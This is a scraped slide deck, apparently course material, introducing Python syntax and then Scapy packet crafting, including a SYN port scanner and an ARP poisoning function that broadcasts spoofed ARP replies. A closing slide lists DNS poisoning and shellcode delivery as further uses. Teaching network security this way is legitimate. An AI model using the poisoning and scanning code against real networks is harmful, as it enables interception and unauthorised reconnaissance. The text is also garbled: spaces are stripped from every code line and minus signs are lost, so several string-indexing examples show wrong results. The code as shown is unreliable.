Sunteți pe pagina 1din 34

root@cript#

Python and Scapy

root@cript#

Python Introduction

root@cript#

Basics: Variables
Python is a dynamically-typed language: value="Hello" value=84/2 The last computed value is represented with _: 84/2 value=_ Concatenation occurs with + (or ,): value="Monty"+"Python" value="Monty","Python" Repetition occurs with *: value="Hello"*5

root@cript#

Basics: Printing
Use either set of quotation marks, but be consistent print"Hello" print'Hello' print"'Hello',saysJohn" print'"Hello",saysJohn'

Multi-line strings are easy, use triple quotes (e.g. """)


print""" Thisisamultilinesentence, whichI'dliketoprint. """

root@cript#

Basics: Strings

String indexing is very flexible in Python: value="CRIPT" value[0]#"C" value[1:3]#"RI" value[:3]#"CRI" value[3:]#"PT" value[1]#"T"(1:lastchar) value[2:]#"PT"(2:2ndlastchar) value[1:1]#"RIP"

root@cript#

Basics: Strings
Strings also have many other useful operations:
value="RIPITCRIPT" value.count("RIP")#2 value.find("RIP")#0 value.rfind("RIP")#8 value.startswith("RIP")#True value.endswith("IPT")#True value2="for{0}years"#Python3.0+ value2.format("99")#'for99years' value3="for%(0)dyears"#Python2.6 value3%{"val":99}#'for99years'

root@cript#

Basics: Strings

Strings also have many other useful operations:


value="CRIPT" value2="12" value3="hitherejim" value.lower()#'cript' value.isalpha()#True value2.isdigit()#True value.rjust(8)#'CRIPT' value.ljust(8)#'CRIPT' value3.split("")#['hi','there','jim']

root@cript#

Data Structures: Lists


Lists are similar to strings, but lists elements are writable
list=['i','am','hungry'] list[1:]#['am','hungry'],likestrings list=['b','e'] list.append('f')#list:['b','e','f'] list.insert(0,'a')#list:['a','b','e','f'] list.remove('b')#list:['a','e','f'] list.pop()#'f',list:['a','e'] list.pop(0)#'a',list:['e']

root@cript#

Data Structures: Lists


List iteration is easy:
list=[1,2,3] foriteminlist: print'item:',item

So is list comprehension:
#allx,suchthatxisin[0..10] list1=[xforxinrange(10)] list2=[xforxinlist1if(x%2)==0andx<5]

root@cript#

Data Structures: Stacks

The list operations make it easy to implement stacks:


stack=[] stack.append(1) stack.append(2) stack.append(3) stack.pop()#3 stack.pop()#2 stack.pop()#1

root@cript#

Data Structures: Queues


The list operations make it easy to implement stacks

...and queues:
queue=[] queue.append(1) queue.append(2) queue.append(3) queue.pop(0)#1 queue.pop(0)#2 queue.pop(0)#3

root@cript#

Data Structures: Dictionaries

Most languages have dictionaries (aka hash tables, property lists):


params={"numQueens":8,"bandwidth":3000} params["numQueens"]#8

root@cript#

Control Structures: if

Conditionals are similar to those used in scripting:


ifvalue==0: print"Thevalueiszero" elifvalue<0: print"Thevalueisnegative" else: print"Thevalueispositive"

root@cript#

Control Structures: for


Loops follow a similar syntactic structure:
list=range(10) forxinlist: print"Thevalueis{0}.".format(x) sentence='iwenttothestore' list=sentence.split() fori,xinenumerate(list): printi,x forxinsorted(set(list)): printx

root@cript#

Control Structures: try

try/except/else is like try/catch/finally in Java:


userinput=raw_input("Enteranum:") value=0 try: value=int(userinput) exceptValueError: print"Invalidnumber!" else print"Value:",value

root@cript#

Modularity: functions

Functions can be defined in the traditional way:


deftimes2(n): """Thisfunctionreturnsthe numbertimestwo""" returnn*2

... or using Lambda notation


times2=lambdan:n*2#n,n2

root@cript#

Modularity: classes
Classes can be defined in the traditional way:
classChat: serverIP="" serverPort=8888 def__init__(self,ip,port): serverIP=ip serverPort=port defsendMessage(self,message): ifhasattr(self,'nickname'): printself.nickname+":"+message else: print"Anonymous:"+message

root@cript#

Modularity: classes

Inheritance is also possible:


classInternetChat(Chat): defsendMessage(self,message): print"Internetmessaginggoeshere!"

root@cript#

Modularity: objects
Objects can be instantiated, but are also dynamic (like other types in Python):
>>>myChat=Chat("1.2.3.4",7777) >>>myChat.sendMessage("Hello") Anonymous:Hello >>>myChat.nickname="rfortier" >>>myChat.sendMessage("Hello") rfortier:Hello >>>delmyChat.nickname >>>myChat.sendMessage("Hello") Anonymous:Hello

root@cript#

Extras: RegEx Matching

Regular expressions are powerful, yet very easy in Python:


importre re.findall('a[ab]*b','abaaaaabbbbb') #output:['ab','aabb']

root@cript#

Packet Construction with Scapy

root@cript#

Scapy

Scapy can be used to:


Explore network protocols and headers Write network-enabled applications Construct packets for security purposes e.g. Spoofed packets

root@cript#

Scapy: Basics

To see the supported protocols: ls() To find out details about a specific protocol: ls(DNS) To see the available commands (i.e. Python functions): lsc()

root@cript#

Scapy: Basics
Here is some sample code showing how to:
Create a TCP segment, inside an IP datagram Display the TCP segment Send it to some host (192.168.1.1), port 22 Display any response
sendPacket=IP(dst='192.168.1.1')/TCP(dport=22, sport=RandShort(),seq=RandShort()) sendPacket.show2() response=sr1(sendPacket) print"Receivedaresponse:" response.summary()

root@cript#

Scapy: Creating Packets

You can create packets individually or in groups:


packet=IP(dst='192.168.1.1')/TCP(dport=22, sport=RandShort(),seq=RandShort()) packets=IP(dst='192.168.1.0/29')/TCP(dport=[22,80], sport=RandShort(),seq=RandShort()) [pforpinpackets]

root@cript#

Scapy: Sending and Receiving


There are several ways to send (and receive) packets in Scapy:
packet=IP(dst='192.168.1.1')/TCP(dport=22, sport=RandShort(),seq=RandShort()) //sendpacketatlayer3 send(packet) //sendpacketatlayer2 sendp(Ether()/packet) //sendpacket(L3)andreceiveoneresponse response=sr1(packet) //sendpacket(L3)andreceiveallresponses answered,unanswered=sr(packet)

root@cript#

Scapy: Ping

We have just about enough information to write our own ping function (default ICMP type is 'echo'):
defping(host,repeat=3): packet=IP(dst=host)/ICMP()

forxinrange(repeat):
response=sr1(packet) response.show2()

root@cript#

Scapy: TCP Ping

...and ping using TCP on port 22:


defsshping(host,repeat=3): packet=IP(dst=host)/TCP(dport=22, sport=RandShort(),seq=RandShort())

forxinrange(repeat):
response=sr1(packet) response.show2()

root@cript#

Scapy: Traceroute

...and traceroute:
defmytraceroute(host,maxttl=8): ipps=IP(dst=host,ttl=(1,maxttl)) ans,unans=sr(ipps/ICMP()) forsent,rcvdinans: printsent.ttl,rcvd.src

root@cript#

Scapy: Sniffing

...and a packet sniffer:


results=sniff(count=10) results.summary()

root@cript#

Scapy: DNS Resolution

...and a resolver:
defresolve(host): dns=DNS(rd=1,qd=DNSQR(qname=host)) response=sr1(IP(dst='192.168.1.1')/UDP()/dns); ifresponse.haslayer(DNS): answer=response.getlayer(DNS).an answer.show()

root@cript#

Scapy: Port Scanning

...and a port scanner (and SYN scan, in this case):


defsynscan(host): ports=range(1000) ip=IP(dst=host) tcp=TCP(dport=ports,flags="S") ans,unans=sr(ip/tcp) forsent,rcvdinans: ifrcvd.haslayer(TCP): ifrcvd.getlayer(TCP).flags&2: printsent.dport

root@cript#

Scapy: ARP Poisoning

...and ARP poisoning:


defarppoison(target,spoofed_ip,mac): packet=ARP() packet.op=2 packet.hwsrc=mac packet.psrc=spoofed_ip packet.hwdst='ff:ff:ff:ff:ff:ff' packet.pdst=target send(packet)

root@cript#

Scapy: Other Possibilities

There is a whole lot more than Scapy can do:

DNS poisoning Customized port scanning Fuzzing network protocols Sending exploits (incl. Shellcode) via TCP, UDP IP spoofing (except for sequence number prediction) Network applications

S-ar putea să vă placă și